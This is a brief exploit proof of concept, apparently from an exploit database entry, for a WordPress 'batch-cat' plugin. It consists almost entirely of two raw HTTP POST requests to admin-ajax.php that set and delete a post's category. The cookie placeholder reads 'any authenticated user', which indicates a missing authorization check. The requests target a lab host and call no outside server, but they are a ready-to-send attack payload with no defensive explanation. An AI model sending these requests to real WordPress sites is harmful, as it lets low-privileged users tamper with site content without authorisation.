Share
## https://sploitus.com/exploit?id=WPEX-ID:F8FDFF8A-F158-46E8-94F1-F051A6C5608B
Set the category 107 to the post 1537:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wp.lab/wordpress/wp-admin/tools.php?page=batch-cat%2Fadmin.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://wp.lab
Connection: close
Cookie: [any authenticated user]

action=bcat_set_category&post_ids=1537&cat_ids=107


Delete the category 107 from the post 1537:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wp.lab/wordpress/wp-admin/tools.php?page=batch-cat%2Fadmin.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://wp.lab
Connection: close
Cookie: [any authenticated user]

action=bcat_del_category&post_ids=1537&cat_ids=107